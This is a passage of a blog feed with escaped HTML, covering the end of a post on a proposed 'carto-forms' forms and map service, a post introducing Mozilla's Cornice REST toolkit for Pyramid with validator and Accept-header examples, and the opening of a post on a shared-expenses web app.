&lt;span class="caps"&gt;HTML&lt;/span&gt; widgets that consume datasets in frontend views (facets in
&lt;span class="caps"&gt;JSON&lt;/span&gt;/&lt;span class="caps"&gt;XML&lt;/span&gt;, and map data in&amp;nbsp;GeoJSON).&lt;/p&gt;
&lt;h3 id="visualization-tool"&gt;Visualization&amp;nbsp;tool&lt;/h3&gt;
&lt;p&gt;Since data submission can be done programmatically using the &lt;span class="caps"&gt;API&lt;/span&gt;, you
could use Carto-forms results page as a visualization&amp;nbsp;tool.&lt;/p&gt;
&lt;p&gt;You can explore your dataset content using filters related to each form
field. Facets filtering is a great advantage, and a map shows the
resulting features set. You feel like you&amp;#8217;re in front of a decision
support&amp;nbsp;system!&lt;/p&gt;
&lt;p&gt;Of course, filtered raw data can be downloaded (GeoJSON, &lt;span class="caps"&gt;XML&lt;/span&gt;) and a
permalink allows to share the page with the state of the filters and the
zoom/location of the&amp;nbsp;map.&lt;/p&gt;
&lt;h3 id="generic-forms-service"&gt;Generic forms&amp;nbsp;service&lt;/h3&gt;
&lt;p&gt;If you want to generate a configuration file (or whatever, email
messages, &amp;#8230;), you will need a form and a template to inlay user
submitted values and get the&amp;nbsp;result.&lt;/p&gt;
&lt;p&gt;A form service would be really useful to create forms programmatically
and retrieve cleaned and validated input&amp;nbsp;values.&lt;/p&gt;
&lt;p&gt;You could run a dedicated template service based on &lt;em&gt;carto-forms&lt;/em&gt;!
Parsing a template content, this external service could create a form
dynamically and bind them together. The output of the form service
(fields =&amp;gt; values) would be bound to the input of a template engine
(variables =&amp;gt; final&amp;nbsp;result).&lt;/p&gt;
&lt;p&gt;Note that for this use-case, there is no specific need of &lt;span class="caps"&gt;GIS&lt;/span&gt; data nor
storage of records for further&amp;nbsp;retrieval.&lt;/p&gt;
&lt;h2 id="whats-out-in-the-wild-already"&gt;What&amp;#8217;s out in the wild&amp;nbsp;already?&lt;/h2&gt;
&lt;p&gt;Of course, there is Google forms, which allows you to do these kind of
things, but it&amp;#8217;s closed and not exactly what we are describing&amp;nbsp;here.&lt;/p&gt;
&lt;p&gt;We&amp;#8217;ve discovered the interesting &lt;a href="https://webform.com/"&gt;https://webform.com/&lt;/a&gt; which allows one
to create forms with a nice drag-n-drop flow. I would love to reproduce
something similar for the user experience. However, the project doesn&amp;#8217;t
handle APIs and geolocation&amp;nbsp;information.&lt;/p&gt;
&lt;p&gt;The idea of &lt;a href="http://thoth.io"&gt;http://thoth.io&lt;/a&gt; is very attractive : an extremely simple
web &lt;span class="caps"&gt;API&lt;/span&gt; to store and retrieve data. In addition, &lt;em&gt;carto-forms&lt;/em&gt; would do
datatype validation and have basic &lt;span class="caps"&gt;GIS&lt;/span&gt; fields (point, line,&amp;nbsp;polygon).&lt;/p&gt;
&lt;p&gt;&lt;a href="http://mapbox.com"&gt;http://mapbox.com&lt;/a&gt; also did an awesome work on cartography, but didn&amp;#8217;t
take into account the form aspect we&amp;#8217;re leveraging&amp;nbsp;here.&lt;/p&gt;
&lt;h2 id="so-lets-get-it-real"&gt;So… Let&amp;#8217;s get it&amp;nbsp;real!&lt;/h2&gt;
&lt;p&gt;As you may have understood, this isn&amp;#8217;t a really complicated problem. We
have been sometimes chatting about that with Mathieu about what we would
need and how we could achieve&amp;nbsp;this.&lt;/p&gt;
&lt;p&gt;We can probably come with an elegant solution without too much pain.
Mathieu is used to work with &lt;span class="caps"&gt;GIS&lt;/span&gt; systems (which is really cool because
I&amp;#8217;m not at all) and knows his subject, so that&amp;#8217;s an opportunity to learn&amp;nbsp;;-)&lt;/p&gt;
&lt;p&gt;We will be at &lt;a href="http://rencontres.django-fr.org"&gt;Djangocong&lt;/a&gt; on April 14
and 15 and will probably have a brainstorming session and a sprint on
this, so if you are around and want to help us, or just to discuss, feel
free to&amp;nbsp;join!&lt;/p&gt;
&lt;p&gt;We don&amp;#8217;t know yet if we will be using django for this or something else.
We have been thinking about couchdb, couchapps and geocouch but nothing
is written in stone yet. Comments and proposals are&amp;nbsp;welcome!&lt;/p&gt;
&lt;p&gt;Here is the etherpad document we worked on so far:
&lt;a href="http://framapad.org/carto-forms"&gt;http://framapad.org/carto-forms&lt;/a&gt;. Don&amp;#8217;t hesitate to add your thoughts
and edit it, that&amp;#8217;s what it&amp;#8217;s made&amp;nbsp;for!&lt;/p&gt;
&lt;p&gt;Thanks to &lt;a href="http://sneakernet.fr/"&gt;Arnaud&lt;/a&gt; and
&lt;a href="http://qwerty.fuzz.me.uk/"&gt;Fuzzmz&lt;/a&gt; for proof-reading and typo&amp;nbsp;fixing.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Introducing Cornice</title><link href="https://blog.notmyidea.org/introducing-cornice.html" rel="alternate"></link><published>2011-12-07T00:00:00+01:00</published><updated>2011-12-07T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2011-12-07:/introducing-cornice.html</id><summary type="html">
&lt;p&gt;Wow, already my third working day at Mozilla. Since Monday, I&amp;#8217;ve been
working with &lt;a href="http://ziade.org"&gt;Tarek Ziadé&lt;/a&gt;, on a pyramid &lt;span class="caps"&gt;REST&lt;/span&gt;-ish
toolkit named &lt;a href="https://github.com/mozilla-services/cornice"&gt;Cornice&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Its goal is to take care for you of what you&amp;#8217;re usually missing so you
can focus on what&amp;#8217;s important. Cornice provides you …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Wow, already my third working day at Mozilla. Since Monday, I&amp;#8217;ve been
working with &lt;a href="http://ziade.org"&gt;Tarek Ziadé&lt;/a&gt;, on a pyramid &lt;span class="caps"&gt;REST&lt;/span&gt;-ish
toolkit named &lt;a href="https://github.com/mozilla-services/cornice"&gt;Cornice&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Its goal is to take care for you of what you&amp;#8217;re usually missing so you
can focus on what&amp;#8217;s important. Cornice provides you facilities for
validation of any&amp;nbsp;kind.&lt;/p&gt;
&lt;p&gt;The goal is to simplify your work, but we don&amp;#8217;t want to reinvent the
wheel, so it is easily pluggable with validations frameworks, such as
&lt;a href="http://docs.pylonsproject.org/projects/colander/en/latest/"&gt;Colander&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="handling-errors-and-validation"&gt;Handling errors and&amp;nbsp;validation&lt;/h2&gt;
&lt;p&gt;Here is how it&amp;nbsp;works:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;service&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/service&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_awesome&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;query&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                            &lt;span class="s1"&gt;&amp;#39;the awesome parameter is required&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="nd"&gt;@service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;is_awesome&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;test&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;yay!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;All the errors collected during the validation process, or after, are
collected before returning the request. If any, a error 400 is fired up,
with the list of problems encountered returned as a nice json list
response (we plan to support multiple formats in the&amp;nbsp;future)&lt;/p&gt;
&lt;p&gt;As you might have seen, request.errors.add takes three parameters:
&lt;strong&gt;location&lt;/strong&gt;, &lt;strong&gt;name&lt;/strong&gt; and &lt;strong&gt;description&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;location&lt;/strong&gt; is where the error is located in the request. It can either
be &amp;#8220;body&amp;#8221;, &amp;#8220;query&amp;#8221;, &amp;#8220;headers&amp;#8221; or &amp;#8220;path&amp;#8221;. &lt;strong&gt;name&lt;/strong&gt; is the name of the
variable causing problem, if any, and &lt;strong&gt;description&lt;/strong&gt; contains a more
detailed&amp;nbsp;message.&lt;/p&gt;
&lt;p&gt;Let&amp;#8217;s run this simple service and send some queries to&amp;nbsp;it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:5000/service
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;GET&lt;span class="w"&gt; &lt;/span&gt;/service&lt;span class="w"&gt; &lt;/span&gt;HTTP/1.1
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Host:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.1:5000
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Accept:&lt;span class="w"&gt; &lt;/span&gt;*/*
&amp;gt;
*&lt;span class="w"&gt; &lt;/span&gt;HTTP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.0,&lt;span class="w"&gt; &lt;/span&gt;assume&lt;span class="w"&gt; &lt;/span&gt;close&lt;span class="w"&gt; &lt;/span&gt;after&lt;span class="w"&gt; &lt;/span&gt;body
&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;HTTP/1.0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;400&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Bad&lt;span class="w"&gt; &lt;/span&gt;Request
&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;Content-Type:&lt;span class="w"&gt; &lt;/span&gt;application/json&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;UTF-8
&lt;span class="o"&gt;[{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;location&amp;quot;&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;query&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;awesome&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;description&amp;quot;&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;You lack awesomeness!&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I&amp;#8217;ve removed the extra clutter from the curl&amp;#8217;s output, but you got the
general&amp;nbsp;idea.&lt;/p&gt;
&lt;p&gt;The content returned is in &lt;span class="caps"&gt;JSON&lt;/span&gt;, and I know exactly what I have to do:
add an &amp;#8220;awesome&amp;#8221; parameter in my query. Let&amp;#8217;s do it&amp;nbsp;again:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:5000/service?awesome&lt;span class="o"&gt;=&lt;/span&gt;yeah
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;test&amp;quot;&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;yay!&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Validators can also convert parts of the request and store the converted
value in request.validated. It is a standard dict automatically attached
to the&amp;nbsp;requests.&lt;/p&gt;
&lt;p&gt;For instance, in our validator, we can chose to validate the parameter
passed and use it in the body of the&amp;nbsp;webservice:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;service&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/service&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_awesome&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;query&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                            &lt;span class="s1"&gt;&amp;#39;the awesome parameter is required&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;awesome &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;


&lt;span class="nd"&gt;@service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;is_awesome&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;test&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The output would look like&amp;nbsp;this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl http://127.0.0.1:5000/service?awesome=yeah
{&amp;quot;test&amp;quot;: &amp;quot;awesome yeah&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="dealing-with-accept-headers"&gt;Dealing with &amp;#8220;Accept&amp;#8221;&amp;nbsp;headers&lt;/h2&gt;
&lt;p&gt;The &lt;span class="caps"&gt;HTTP&lt;/span&gt; spec defines a &lt;strong&gt;Accept&lt;/strong&gt; header the client can send so the
response is encoded the right way. A resource, available at an &lt;span class="caps"&gt;URL&lt;/span&gt;, can
be available in different formats. This is especially true for web&amp;nbsp;services.&lt;/p&gt;
&lt;p&gt;Cornice can help you dealing with this. The services you define can tell
which Content-Type values they can deal with and this will be checked
against the &lt;strong&gt;Accept&lt;/strong&gt; headers sent by the&amp;nbsp;client.&lt;/p&gt;
&lt;p&gt;Let&amp;#8217;s refine a bit our previous example, by specifying which
content-types are supported, using the accept&amp;nbsp;parameter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;is_awesome&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;application/json&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;text/json&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;test&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;yay!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, if you specifically ask for &lt;span class="caps"&gt;XML&lt;/span&gt;, Cornice will throw a 406 with the
list of accepted Content-Type&amp;nbsp;values:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-vH&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Accept: application/xml&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:5000/service
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;GET&lt;span class="w"&gt; &lt;/span&gt;/service&lt;span class="w"&gt; &lt;/span&gt;HTTP/1.1
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Host:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.1:5000
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Accept:&lt;span class="w"&gt; &lt;/span&gt;application/xml
&amp;gt;
&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;HTTP/1.0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;406&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Not&lt;span class="w"&gt; &lt;/span&gt;Acceptable
&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;Content-Type:&lt;span class="w"&gt; &lt;/span&gt;application/json&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;UTF-8
&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;Content-Length:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;33&lt;/span&gt;
&amp;lt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;application/json&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;text/json&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="building-your-documentation-automatically"&gt;Building your documentation&amp;nbsp;automatically&lt;/h2&gt;
&lt;p&gt;writing documentation for web services can be painful, especially when
your services evolve. Cornice provides a sphinx directive to
automatically document your &lt;span class="caps"&gt;API&lt;/span&gt; in your&amp;nbsp;docs.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;rst&lt;/span&gt;
&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;services&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;coolapp&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;service&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;quote&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here is an example of what a generated page looks like:
&lt;a href="http://packages.python.org/cornice/exampledoc.html"&gt;http://packages.python.org/cornice/exampledoc.html&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="yay-how-can-i-get-it"&gt;Yay! How can I get&amp;nbsp;it?&lt;/h2&gt;
&lt;p&gt;We just cut a 0.4 release, so it&amp;#8217;s available at
&lt;a href="http://pypi.python.org/pypi/cornice"&gt;http://pypi.python.org/pypi/cornice&lt;/a&gt; You can install it easily using
pip, for&amp;nbsp;instance:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;cornice
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can also have a look at the documentation at
&lt;a href="http://packages.python.org/cornice/"&gt;http://packages.python.org/cornice/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="whats-next"&gt;What&amp;#8217;s&amp;nbsp;next?&lt;/h2&gt;
&lt;p&gt;We try to make our best to find how Cornice can help you build better
web services. Cool features we want for the future include the automatic
publication of a static definition of the services, so it can be used by
clients to discover services in a nice&amp;nbsp;way.&lt;/p&gt;
&lt;p&gt;Of course, we are open to all your ideas and patches! If you feel
haskish and want to see the sources, &lt;a href="https://github.com/mozilla-services/cornice"&gt;go grab them on
github&lt;/a&gt; , commit and send
us a pull&amp;nbsp;request!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>How are you handling your shared expenses?</title><link href="https://blog.notmyidea.org/how-are-you-handling-your-shared-expenses.html" rel="alternate"></link><published>2011-10-15T00:00:00+02:00</published><updated>2011-10-15T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2011-10-15:/how-are-you-handling-your-shared-expenses.html</id><summary type="html">
&lt;p&gt;&lt;strong&gt;&lt;span class="caps"&gt;TL&lt;/span&gt;;&lt;span class="caps"&gt;DR&lt;/span&gt;:&lt;/strong&gt; We&amp;#8217;re kick-starting a new application to manage your shared
expenses. Have a look at &lt;a href="http://ihatemoney.notmyidea.org"&gt;http://ihatemoney.notmyidea.org&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As a student, I lived in a lot of different locations, and the majority
of them had something in common: I lived with others. It usually was a
great …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;&lt;strong&gt;&lt;span class="caps"&gt;TL&lt;/span&gt;;&lt;span class="caps"&gt;DR&lt;/span&gt;:&lt;/strong&gt; We&amp;#8217;re kick-starting a new application to manage your shared
expenses. Have a look at &lt;a href="http://ihatemoney.notmyidea.org"&gt;http://ihatemoney.notmyidea.org&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As a student, I lived in a lot of different locations, and the majority
of them had something in common: I lived with others. It usually was a
great experience (and I think I will continue to live with others). Most
of the time, we had to spend some time each month to compute who had to
pay what to the&amp;nbsp;others.&lt;/p&gt;
&lt;p&gt;I wanted to create a pet project using flask, so I wrote a little (\~150
lines) flask application to handle this. It worked out pretty well for
my housemates and me, and as we had to move into different locations,
one of them asked me if he could continue to use it for the year to&amp;nbsp;come.&lt;/p&gt;
&lt;p&gt;I said yes and gave it some more thoughts: We probably aren&amp;#8217;t the only
ones interested by such kind of software. I decided to extend a bit more
the software to have a concept of projects and persons (the list of
persons was hard-coded in the first time,&amp;nbsp;boooh!).&lt;/p&gt;
&lt;p&gt;I then discussed with a friend of mine, who was excited about it and
wanted to learn python. Great! That&amp;#8217;s a really nice way to get started.
Some more friends were also interested in it and contributed some
features and provided feedback (thanks
&lt;a href="http://www.sneakernet.fr/"&gt;Arnaud&lt;/a&gt; and&amp;nbsp;Quentin!)&lt;/p&gt;
&lt;p&gt;Since that, the project now support multiple languages and provides a
&lt;span class="caps"&gt;REST&lt;/span&gt; &lt;span class="caps"&gt;API&lt;/span&gt; (android and iphone apps in the tubes!), into other things.
There is no need to register for an account or whatnot, just enter a
project name, a secret code and a contact email, invite friends and
that&amp;#8217;s it (this was inspired by&amp;nbsp;doodle)!&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capture d'écran du site." src="/images/ihatemoney.png"&gt;&lt;/p&gt;
&lt;p&gt;You can try the project at &lt;a href="http://ihatemoney.notmyidea.org"&gt;http://ihatemoney.notmyidea.org&lt;/a&gt; for now,
and the code lives at &lt;a href="https://github.com/spiral-project/ihatemoney/"&gt;https://github.com/spiral-project/ihatemoney/&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="features"&gt;Features&lt;/h2&gt;
&lt;p&gt;In the wild, currently, there already are some implementations of this
shared budget manager thing. The fact is that most of them are either
hard to use, with a too much fancy design or simply trying to do too
